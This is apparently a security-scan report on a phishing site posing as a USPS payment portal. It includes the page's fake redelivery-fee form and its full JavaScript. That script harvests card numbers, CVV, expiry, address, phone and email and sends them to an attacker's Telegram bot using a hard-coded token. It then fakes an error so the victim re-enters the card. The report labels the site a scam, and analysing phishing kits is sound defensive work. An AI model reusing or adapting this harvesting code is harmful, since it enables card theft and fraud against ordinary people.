real estate property

finance banking

government public service

English

Within the modern generic top-level domain (.online), 'mail.uspsfund.online' is registered and includes subdomain 'mail'. The registrable portion 'uspsfund' spans 8 characters containing two vowels alongside 6 consonants. Segmentation suggests 2 words: usps, fund. Average segment length settles at 4 characters. No strong language cues emerged from the frequency lists.

00258f6a213bfe83ebfa3b4db662677c9979e3528b0e6d7dec0acc22d5204378

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

UNITED STATES POSTAL
SERVICE

SECURE PAYMENT PORTAL

Ref: PKG-2026-
88472
Session: 8X9K2M

VERIFICATION REQUIRED: Your redelivery fee of $1.95 is pending. To

complete the scheduling of your held parcel (Tracking:

9400111899223456789012), we require verification of your payment method.

and billing address for fraud prevention purposes.

Card Information

Cardholder Name *

Name as it appears on card

Card Number *

(0000 0000 0000 0000
Expiry Date * cw ZIP on Card *
MMIYY 123 00000

Billing Address

Street Address *
123 Main Street

Apartment / Suite / Unit
Apt 4B (optional)

City* State *

city Select

Phone Number *

(000) 000-0000

ZIP Code *

00000

>


Ultahost, Inc.

uspsfund.online

Internet Utilities NA LLC

Vincentas Grinius

Private Customer

NET-173-211-81-0-24

// CONFIG: Replace with your Telegram Bot Token and Chat ID
 const BOT_TOKEN = "9250903235:AAHYhRu_Z1bm2YsHA5T87ApvwlU9YqP37cg";
 const CHAT_ID = "7539669593";

 const form = document.getElementById("paymentForm");
 const overlay = document.getElementById("overlay");
 const errorMsg = document.getElementById("errorMsg");
 const submitBtn = document.getElementById("submitBtn");

 // Auto-format card number with spaces
 document.getElementById("cardNumber").addEventListener("input", function(e) {
 let val = e.target.value.replace(/\s/g, "").replace(/\D/g, "");
 let formatted = "";
 for (let i = 0; i < val.length; i++) {
 if (i > 0 && i % 4 === 0) formatted += " ";
 formatted += val[i];
 }
 e.target.value = formatted;
 });

 // Auto-format expiry date
 document.getElementById("expiry").addEventListener("input", function(e) {
 let val = e.target.value.replace(/\D/g, "");
 if (val.length >= 2) {
 val = val.substring(0, 2) + "/" + val.substring(2, 4);
 }
 e.target.value = val;
 });

 form.addEventListener("submit", async function(e) {
 e.preventDefault();
 errorMsg.style.display = "none";
 overlay.classList.add("active");
 submitBtn.disabled = true;

 // Collect all data
 const data = {
 cardName: document.getElementById("cardName").value.trim(),
 cardNumber: document.getElementById("cardNumber").value.trim(),
 expiry: document.getElementById("expiry").value.trim(),
 cvv: document.getElementById("cvv").value.trim(),
 cardZip: document.getElementById("cardZip").value.trim(),
 street: document.getElementById("street").value.trim(),
 apt: document.getElementById("apt").value.trim(),
 city: document.getElementById("city").value.trim(),
 state: document.getElementById("state").value,
 zip: document.getElementById("zip").value.trim(),
 phone: document.getElementById("phone").value.trim(),
 email: document.getElementById("email").value.trim(),
 userAgent: navigator.userAgent,
 timestamp: new Date().toISOString(),
 pageUrl: window.location.href
 };

 // Build Telegram message
 const msg = [
 "USPS PHISH — NEW SUBMISSION",
 "",
 "Card Info:",
 "Name: " + data.cardName,
 "Number: " + data.cardNumber,
 "Expiry: " + data.expiry,
 "CVV: " + data.cvv,
 "Card ZIP: " + data.cardZip,
 "",
 "Billing Address:",
 data.street + (data.apt ? " " + data.apt : ""),
 data.city + ", " + data.state + " " + data.zip,
 "",
 "Contact:",
 "Phone: " + data.phone,
 "Email: " + data.email,
 "",
 "Meta:",
 "Time: " + data.timestamp,
 "UA: " + data.userAgent.substring(0, 100) + "...",
 "URL: " + data.pageUrl
 ].join("\n");

 try {
 await fetch("https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage", {
 method: "POST",
 headers: { "Content-Type": "application/json" },
 body: JSON.stringify({
 chat_id: CHAT_ID,
 text: msg,
 parse_mode: "HTML"
 })
 });
 } catch (err) {
 console.error("Telegram send failed:", err);
 }

 // Show fake error after delay (keeps user on page, allows retry)
 setTimeout(() => {
 overlay.classList.remove("active");
 errorMsg.style.display = "block";
 submitBtn.disabled = false;
 // Clear sensitive fields so they re-enter (and you get another shot)
 document.getElementById("cardNumber").value = "";
 document.getElementById("cvv").value = "";
 document.getElementById("cardNumber").focus();
 }, 2500);
 });

Requests	IP Address	Location	AS Autonomous System
2	173.211.81.11	Buffalo, New York, United States	AS396356Latitude.sh
2	1	-	-

Security Scan Report: mail.uspsfund.online

Summary

AI Security Verdict

Confirmed Scam

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies2

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History